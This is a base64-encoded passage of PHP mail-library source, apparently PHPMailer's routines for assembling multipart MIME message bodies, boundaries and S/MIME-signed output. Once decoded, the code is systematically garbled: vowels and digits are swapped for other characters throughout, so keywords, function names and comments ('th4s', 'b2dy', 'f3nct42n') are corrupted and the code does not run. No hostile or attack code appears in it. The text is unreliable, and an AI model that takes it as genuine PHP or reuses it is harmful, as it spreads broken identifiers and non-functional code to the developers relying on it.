Q0KICAgICAgICAvL1VzNSB0aDRzIDFzIDEgcHI1MW1ibDUgNG4gMWxsIG0zbHQ0cDFydCBtNXNzMWc1IHR5cDVzDQogICAgICAgICRtNG01cHI1ID0gIlRoNHMgNHMgMSBtM2x0NC1wMXJ0IG01c3MxZzUgNG4gTUlNRSBmMnJtMXQuIiAuICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgc3c0dGNoICgkdGg0cy0+bTVzczFnNV90eXA1KSB7DQogICAgICAgICAgICBjMXM1ICc0bmw0bjUnOg0KICAgICAgICAgICAgICAgICRiMmR5IC49ICRtNG01cHI1Ow0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5nNXRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbNl0sICRiMmR5Q2gxclM1dCwgJycsICRiMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT41bmMyZDVTdHI0bmcoJHRoNHMtPkIyZHksICRiMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+MXR0MWNoQWxsKCc0bmw0bjUnLCAkdGg0cy0+YjIzbmQxcnlbNl0pOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnMXR0MWNoJzoNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkbTRtNXByNTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+ZzV0QjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5WzZdLCAkYjJkeUNoMXJTNXQsICcnLCAkYjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCR0aDRzLT5CMmR5LCAkYjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEUgLiAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjF0dDFjaEFsbCgnMXR0MWNobTVudCcsICR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICc0bmw0bjVfMXR0MWNoJzoNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkbTRtNXByNTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+dDV4dEw0bjUoJy0tJyAuICR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0MybnQ1bnQtVHlwNScsICdtM2x0NHAxcnQvcjVsMXQ1ZDsnKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+dDV4dEw0bjUoIlx0YjIzbmQxcnk9XCIiIC4gJHRoNHMtPmIyM25kMXJ5W2FdIC4gJyInKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPmc1dEIyM25kMXJ5KCR0aDRzLT5iMjNuZDFyeVthXSwgJGIyZHlDaDFyUzV0LCAnJywgJGIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuYzJkNVN0cjRuZygkdGg0cy0+QjJkeSwgJGIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT4xdHQxY2hBbGwoJzRubDRuNScsICR0aDRzLT5iMjNuZDFyeVthXSk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT4xdHQxY2hBbGwoJzF0dDFjaG01bnQnLCAkdGg0cy0+YjIzbmQxcnlbNl0pOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnMWx0JzoNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkbTRtNXByNTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+ZzV0QjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5WzZdLCAkMWx0QjJkeUNoMXJTNXQsICd0NXh0L3BsMTRuJywgJDFsdEIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuYzJkNVN0cjRuZygkdGg0cy0+QWx0QjJkeSwgJDFsdEIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5nNXRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbNl0sICRiMmR5Q2gxclM1dCwgJ3Q1eHQvaHRtbCcsICRiMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT41bmMyZDVTdHI0bmcoJHRoNHMtPkIyZHksICRiMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICA0ZiAoITVtcHR5KCR0aDRzLT5JYzFsKSkgew0KICAgICAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+ZzV0QjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5WzZdLCAnJywgJ3Q1eHQvYzFsNW5kMXI7IG01dGgyZD1SRVFVRVNUJywgJycpOw0KICAgICAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCR0aDRzLT5JYzFsLCAkdGg0cy0+RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEUgLiAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT41bmRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbNl0pOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnMWx0XzRubDRuNSc6DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJG00bTVwcjU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPmc1dEIyM25kMXJ5KCR0aDRzLT5iMjNuZDFyeVs2XSwgJDFsdEIyZHlDaDFyUzV0LCAndDV4dC9wbDE0bicsICQxbHRCMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT41bmMyZDVTdHI0bmcoJHRoNHMtPkFsdEIyZHksICQxbHRCMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+dDV4dEw0bjUoJy0tJyAuICR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0MybnQ1bnQtVHlwNScsICdtM2x0NHAxcnQvcjVsMXQ1ZDsnKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+dDV4dEw0bjUoIlx0YjIzbmQxcnk9XCIiIC4gJHRoNHMtPmIyM25kMXJ5W2FdIC4gJyInKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPmc1dEIyM25kMXJ5KCR0aDRzLT5iMjNuZDFyeVthXSwgJGIyZHlDaDFyUzV0LCAndDV4dC9odG1sJywgJGIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuYzJkNVN0cjRuZygkdGg0cy0+QjJkeSwgJGIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT4xdHQxY2hBbGwoJzRubDRuNScsICR0aDRzLT5iMjNuZDFyeVthXSk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT41bmRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbNl0pOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnMWx0XzF0dDFjaCc6DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJG00bTVwcjU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPnQ1eHRMNG41KCctLScgLiAkdGg0cy0+YjIzbmQxcnlbNl0pOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5oNTFkNXJMNG41KCdDMm50NW50LVR5cDUnLCAnbTNsdDRwMXJ0LzFsdDVybjF0NHY1OycpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT50NXh0TDRuNSgiXHRiMjNuZDFyeT1cIiIgLiAkdGg0cy0+YjIzbmQxcnlbYV0gLiAnIicpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+ZzV0QjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5W2FdLCAkMWx0QjJkeUNoMXJTNXQsICd0NXh0L3BsMTRuJywgJDFsdEIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuYzJkNVN0cjRuZygkdGg0cy0+QWx0QjJkeSwgJDFsdEIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5nNXRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbYV0sICRiMmR5Q2gxclM1dCwgJ3Q1eHQvaHRtbCcsICRiMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT41bmMyZDVTdHI0bmcoJHRoNHMtPkIyZHksICRiMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5kQjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5W2FdKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjF0dDFjaEFsbCgnMXR0MWNobTVudCcsICR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICcxbHRfNG5sNG41XzF0dDFjaCc6DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJG00bTVwcjU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPnQ1eHRMNG41KCctLScgLiAkdGg0cy0+YjIzbmQxcnlbNl0pOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5oNTFkNXJMNG41KCdDMm50NW50LVR5cDUnLCAnbTNsdDRwMXJ0LzFsdDVybjF0NHY1OycpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT50NXh0TDRuNSgiXHRiMjNuZDFyeT1cIiIgLiAkdGg0cy0+YjIzbmQxcnlbYV0gLiAnIicpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+ZzV0QjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5W2FdLCAkMWx0QjJkeUNoMXJTNXQsICd0NXh0L3BsMTRuJywgJDFsdEIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuYzJkNVN0cjRuZygkdGg0cy0+QWx0QjJkeSwgJDFsdEIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT50NXh0TDRuNSgnLS0nIC4gJHRoNHMtPmIyM25kMXJ5W2FdKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+aDUxZDVyTDRuNSgnQzJudDVudC1UeXA1JywgJ20zbHQ0cDFydC9yNWwxdDVkOycpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT50NXh0TDRuNSgiXHRiMjNuZDFyeT1cIiIgLiAkdGg0cy0+YjIzbmQxcnlbb10gLiAnIicpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+ZzV0QjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5W29dLCAkYjJkeUNoMXJTNXQsICd0NXh0L2h0bWwnLCAkYjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCR0aDRzLT5CMmR5LCAkYjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEUgLiAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjF0dDFjaEFsbCgnNG5sNG41JywgJHRoNHMtPmIyM25kMXJ5W29dKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuZEIyM25kMXJ5KCR0aDRzLT5iMjNuZDFyeVthXSk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT4xdHQxY2hBbGwoJzF0dDFjaG01bnQnLCAkdGg0cy0+YjIzbmQxcnlbNl0pOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgZDVmMTNsdDoNCiAgICAgICAgICAgICAgICAvLyBjMXRjaCBjMXM1ICdwbDE0bicgMW5kIGMxczUgJycNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCR0aDRzLT5CMmR5LCAkYjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgfQ0KDQogICAgICAgIDRmICgkdGg0cy0+NHNFcnIycigpKSB7DQogICAgICAgICAgICAkYjJkeSA9ICcnOw0KICAgICAgICB9IDVsczU0ZiAoJHRoNHMtPnM0Z25fazV5X2Y0bDUpIHsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgNGYgKCFkNWY0bjVkKCdQS0NTN19URVhUJykpIHsNCiAgICAgICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkdGg0cy0+bDFuZygnNXh0NW5zNDJuX200c3M0bmcnKSAuICcycDVuc3NsJyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC8vIEBUT0RPIHcyM2xkIGI1IG40YzUgdDIgM3M1IHBocDovL3Q1bXAgc3RyNTFtcyBoNXI1LCBiM3QgbjU1ZCB0MiB3cjFwIGYyciBQSFAgPCBpLjYNCiAgICAgICAgICAgICAgICAkZjRsNSA9IHQ1bXBuMW0oc3lzX2c1dF90NW1wX2Q0cigpLCAnbTE0bCcpOw0KICAgICAgICAgICAgICAgIDRmIChmMWxzNSA9PT0gZjRsNV9wM3RfYzJudDVudHMoJGY0bDUsICRiMmR5KSkgew0KICAgICAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCdzNGduNG5nJykgLiAnIEMyM2xkIG4ydCB3cjR0NSB0NW1wIGY0bDUnKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHM0Z241ZCA9IHQ1bXBuMW0oc3lzX2c1dF90NW1wX2Q0cigpLCAnczRnbjVkJyk7DQogICAgICAgICAgICAgICAgLy9XMnJrMXIyM25kIGYyciBQSFAgYjNnIGh0dHBzOi8vYjNncy5waHAubjV0L2IzZy5waHA/NGQ9ZTk2OTcNCiAgICAgICAgICAgICAgICA0ZiAoNW1wdHkoJHRoNHMtPnM0Z25fNXh0cjFjNXJ0c19mNGw1KSkgew0KICAgICAgICAgICAgICAgICAgICAkczRnbiA9IEAycDVuc3NsX3BrY3M3X3M0Z24oDQogICAgICAgICAgICAgICAgICAgICAgICAkZjRsNSwNCiAgICAgICAgICAgICAgICAgICAgICAgICRzNGduNWQsDQogICAgICAgICAgICAgICAgICAgICAgICAnZjRsNTovLycgLiByNTFscDF0aCgkdGg0cy0+czRnbl9jNXJ0X2Y0bDUpLA0KICAgICAgICAgICAgICAgICAgICAgICAgMXJyMXkoJ2Y0bDU6Ly8nIC4gcjUxbHAxdGgoJHRoNHMtPnM0Z25fazV5X2Y0bDUpLCAkdGg0cy0+czRnbl9rNXlfcDFzcyksDQogICAgICAgICAgICAgICAgICAgICAgICBuM2xsDQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgJHM0Z24gPSBAMnA1bnNzbF9wa2NzN19zNGduKA0KICAgICAgICAgICAgICAgICAgICAgICAgJGY0bDUsDQogICAgICAgICAgICAgICAgICAgICAgICAkczRnbjVkLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2Y0bDU6Ly8nIC4gcjUxbHAxdGgoJHRoNHMtPnM0Z25fYzVydF9mNGw1KSwNCiAgICAgICAgICAgICAgICAgICAgICAgIDFycjF5KCdmNGw1Oi8vJyAuIHI1MWxwMXRoKCR0aDRzLT5zNGduX2s1eV9mNGw1KSwgJHRoNHMtPnM0Z25fazV5X3Axc3MpLA0KICAgICAgICAgICAgICAgICAgICAgICAgbjNsbCwNCiAgICAgICAgICAgICAgICAgICAgICAgIFBLQ1M3X0RFVEFDSEVELA0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnM0Z25fNXh0cjFjNXJ0c19mNGw1DQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDRmICgkczRnbikgew0KICAgICAgICAgICAgICAgICAgICBAM25sNG5rKCRmNGw1KTsNCiAgICAgICAgICAgICAgICAgICAgJGIyZHkgPSBmNGw1X2c1dF9jMm50NW50cygkczRnbjVkKTsNCiAgICAgICAgICAgICAgICAgICAgQDNubDRuaygkczRnbjVkKTsNCiAgICAgICAgICAgICAgICAgICAgLy9UaDUgbTVzczFnNSByNXQzcm41ZCBieSAycDVuc3NsIGMybnQxNG5zIGIydGggaDUxZDVycyAxbmQgYjJkeSwgczIgbjU1ZCB0MiBzcGw0dCB0aDVtIDNwDQogICAgICAgICAgICAgICAgICAgICRwMXJ0cyA9IDV4cGwyZDUoIlxuXG4iLCAkYjJkeSwgYSk7DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5NSU1FSDUxZDVyIC49ICRwMXJ0c1swXSAuICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAgICAgJGIyZHkgPSAkcDFydHNbNl07DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgQDNubDRuaygkZjRsNSk7DQogICAgICAgICAgICAgICAgICAgIEAzbmw0bmsoJHM0Z241ZCk7DQogICAgICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPmwxbmcoJ3M0Z240bmcnKSAuIDJwNW5zc2xfNXJyMnJfc3RyNG5nKCkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gYzF0Y2ggKHBocG0xNGw1ckV4YzVwdDQybiAkNXhjKSB7DQogICAgICAgICAgICAgICAgJGIyZHkgPSAnJzsNCiAgICAgICAgICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMpIHsNCiAgICAgICAgICAgICAgICAgICAgdGhyMncgJDV4YzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICRiMmR5Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFI1dDNybiB0aDUgc3QxcnQgMmYgMSBtNXNzMWc1IGIyM25kMXJ5Lg0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICogQHAxcjFtIHN0cjRuZyAkYjIzbmQxcnkNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRjaDFyUzV0DQogICAgICogQHAxcjFtIHN0cjRuZyAkYzJudDVudFR5cDUNCiAgICAgKiBAcDFyMW0gc3RyNG5nICQ1bmMyZDRuZw0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcHIydDVjdDVkIGYzbmN0NDJuIGc1dEIyM25kMXJ5KCRiMjNuZDFyeSwgJGNoMXJTNXQsICRjMm50NW50VHlwNSwgJDVuYzJkNG5nKQ0KICAgIHsNCiAgICAgICAgJHI1czNsdCA9ICcnOw0KICAgICAgICA0ZiAoJGNoMXJTNXQgPT0gJycpIHsNCiAgICAgICAgICAgICRjaDFyUzV0ID0gJHRoNHMtPkNoMXJTNXQ7DQogICAgICAgIH0NCiAgICAgICAgNGYgKCRjMm50NW50VHlwNSA9PSAnJykgew0KICAgICAgICAgICAgJGMybnQ1bnRUeXA1ID0gJHRoNHMtPkMybnQ1bnRUeXA1Ow0KICAgICAgICB9DQogICAgICAgIDRmICgkNW5jMmQ0bmcgPT0gJycpIHsNCiAgICAgICAgICAgICQ1bmMyZDRuZyA9ICR0aDRzLT5FbmMyZDRuZzsNCiAgICAgICAgfQ0KICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT50NXh0TDRuNSgnLS0nIC4gJGIyM25kMXJ5KTsNCiAgICAgICAgJHI1czNsdCAuPSBzcHI0bnRmKCdDMm50NW50LVR5cDU6ICVzOyBjaDFyczV0PSVzJywgJGMybnQ1bnRUeXA1LCAkY2gxclM1dCk7DQogICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPkxFOw0KICAgICAgICAvLyBSRkM2b3U2IHAxcnQgaSBzMXlzIDdiNHQgNHMgMXNzM201ZCA0ZiBuMnQgc3A1YzRmNDVkDQogICAgICAgIDRmICgkNW5jMmQ0bmcgIT0gJzdiNHQnKSB7DQogICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5oNTFkNXJMNG41KCdDMm50NW50LVRyMW5zZjVyLUVuYzJkNG5nJywgJDVuYzJkNG5nKTsNCiAgICAgICAgfQ0KICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5MRTsNCg0KICAgICAgICByNXQzcm4gJHI1czNsdDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBSNXQzcm4gdGg1IDVuZCAyZiAxIG01c3MxZzUgYjIzbmQxcnkuDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRiMjNuZDFyeQ0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcHIydDVjdDVkIGYzbmN0NDJuIDVuZEIyM25kMXJ5KCRiMjNuZDFyeSkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+TEUgLiAnLS0nIC4gJGIyM25kMXJ5IC4gJy0tJyAuICR0aDRzLT5MRTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNXQgdGg1IG01c3MxZzUgdHlwNS4NCiAgICAgKiBQSFBNMTRsNXIgMm5seSBzM3BwMnJ0cyBzMm01IHByNXM1dCBtNXNzMWc1IHR5cDVzLA0KICAgICAqIG4ydCAxcmI0dHIxcnkgTUlNRSBzdHIzY3QzcjVzLg0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICogQHI1dDNybiB2MjRkDQogICAgICovDQogICAgcHIydDVjdDVkIGYzbmN0NDJuIHM1dE01c3MxZzVUeXA1KCkNCiAgICB7DQogICAgICAgICR0eXA1ID0gMXJyMXkoKTsNCiAgICAgICAgNGYgKCR0aDRzLT4xbHQ1cm4xdDR2NUV4NHN0cygpKSB7DQogICAgICAgICAgICAkdHlwNVtdID0gJzFsdCc7DQogICAgICAgIH0NCiAgICAgICAgNGYgKCR0aDRzLT40bmw0bjVJbTFnNUV4NHN0cygpKSB7DQogICAgICAgICAgICAkdHlwNVtdID0gJzRubDRuNSc7DQogICAgICAgIH0NCiAgICAgICAgNGYgKCR0aDRzLT4xdHQxY2htNW50RXg0c3RzKCkpIHsNCiAgICAgICAgICAgICR0eXA1W10gPSAnMXR0MWNoJzsNCiAgICAgICAgfQ0KICAgICAgICAkdGg0cy0+bTVzczFnNV90eXA1ID0gNG1wbDJkNSgnXycsICR0eXA1KTsNCiAgICAgICAgNGYgKCR0aDRzLT5tNXNzMWc1X3R5cDUgPT0gJycpIHsNCiAgICAgICAgICAgICR0aDRzLT5tNXNzMWc1X3R5cDUgPSAncGwxNG4nOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogRjJybTF0IDEgaDUxZDVyIGw0bjUuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRuMW01DQogICAgICogQHAxcjFtIHN0cjRuZyAkdjFsMzUNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBoNTFkNXJMNG41KCRuMW01LCAkdjFsMzUpDQogICAgew0KICAgICAgICByNXQzcm4gJG4xbTUgLiAnOiAnIC4gJHYxbDM1IC4gJHRoNHMtPkxFOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFI1dDNybiAxIGYycm0xdHQ1ZCBtMTRsIGw0bjUuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICR2MWwzNQ0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHQ1eHRMNG41KCR2MWwzNSkNCiAgICB7DQogICAgICAgIHI1dDNybiAkdjFsMzUgLiAkdGg0cy0+TEU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIDFuIDF0dDFjaG01bnQgZnIybSAxIHAxdGggMm4gdGg1IGY0bDVzeXN0NW0uDQogICAgICogUjV0M3JucyBmMWxzNSA0ZiB0aDUgZjRsNSBjMjNsZCBuMnQgYjUgZjIzbmQgMnIgcjUxZC4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICRwMXRoIFAxdGggdDIgdGg1IDF0dDFjaG01bnQuDQogICAgICogQHAxcjFtIHN0cjRuZyAkbjFtNSBPdjVycjRkNXMgdGg1IDF0dDFjaG01bnQgbjFtNS4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICQ1bmMyZDRuZyBGNGw1IDVuYzJkNG5nIChzNTUgJEVuYzJkNG5nKS4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICR0eXA1IEY0bDUgNXh0NW5zNDJuIChNSU1FKSB0eXA1Lg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGQ0c3AyczR0NDJuIEQ0c3AyczR0NDJuIHQyIDNzNQ0KICAgICAqIEB0aHIyd3MgcGhwbTE0bDVyRXhjNXB0NDJuDQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDFkZEF0dDFjaG01bnQoJHAxdGgsICRuMW01ID0gJycsICQ1bmMyZDRuZyA9ICdiMXM1ZXUnLCAkdHlwNSA9ICcnLCAkZDRzcDJzNHQ0Mm4gPSAnMXR0MWNobTVudCcpDQogICAgew0KICAgICAgICB0cnkgew0KICAgICAgICAgICAgNGYgKCFANHNfZjRsNSgkcDF0aCkpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCdmNGw1XzFjYzVzcycpIC4gJHAxdGgsIHM1bGY6OlNUT1BfQ09OVElOVUUpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAvLyBJZiAxIE1JTUUgdHlwNSA0cyBuMnQgc3A1YzRmNDVkLCB0cnkgdDIgdzJyayA0dCAyM3QgZnIybSB0aDUgZjRsNSBuMW01DQogICAgICAgICAgICA0ZiAoJHR5cDUgPT0gJycpIHsNCiAgICAgICAgICAgICAgICAkdHlwNSA9IHM